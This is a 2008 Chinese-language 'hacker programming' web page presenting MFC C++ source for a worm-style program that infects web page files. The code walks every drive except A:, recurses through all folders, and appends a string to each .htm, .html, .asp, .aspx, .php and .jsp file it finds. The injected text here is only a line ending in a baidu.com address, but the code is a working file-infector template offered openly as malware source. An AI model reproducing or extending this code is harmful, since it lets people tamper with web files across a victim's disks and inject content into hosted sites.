咨询电话:010-82823766

黑客编程之感染网页文件的一个程序
  • 2008-5-5 10:53:20
  • 发表时间:
  • 浏览次数:
  • 本站原创
  • 文章来源:
  • 佚名
  • 作者:

void CWormDlg::OnFindFile()
{
// TOD Add your control notification handler code here
CString s;
char buff[26];
int len=GetLogicalDriveStrings(sizeof(buff),buff);

 
for(int a=0;a<len;a++)
{
     if(buff[a]==0)
     {
     s =buff[a-3];
     s+=buff[a-2];
     s+=buff[a-1];
     if(s=="A:\\")
     {continue;}
     else
     BrowseDir(s);
     }  
}
    
}

void CWormDlg::BrowseDir(CString strDir)
{
CString FileName;
CString strExt;
CFileFind ff;

CString szDir = strDir;

if(szDir.Right(1)!="\\")
     szDir+="\\";
szDir+="*.*";


BOOL res = ff.FindFile(szDir);
  
while(res)
{
     res     = ff.FindNextFile();
  
     if(ff.IsDirectory()&&!ff.IsDots())
     {
     BrowseDir(ff.GetFilePath());
     }
     else if(!ff.IsDirectory() && !ff.IsDots())
     {
     CString str;  
     str.Format("%s",ff.GetFilePath());
     FileName.Format("%s",ff.GetFileName());
     strExt=FileName.Mid(FileName.ReverseFind('.')+1);
     if(strExt=="htm" || strExt=="html" || strExt=="asp" || strExt=="aspx" || strExt=="php" || strExt=="jsp")
     {
       GanRan(str);
       Sleep(300);  
     }
      
     }  
}
ff.Close();
}

void CWormDlg::GanRan(CString Name)
{
  
CString str1;
CString WriteBuf="\r\http://www.baidu.com";
str1=Name;
MessageBox(str1);
CStdioFile file(str1,CFile::modeNoTruncate|CFile::modeWrite);
file.SeekToEnd();
file.WriteString(WriteBuf);
file.Close();
}
 

top
推荐导读
推荐导读
bottom
top
热门文章
热门文章
bottom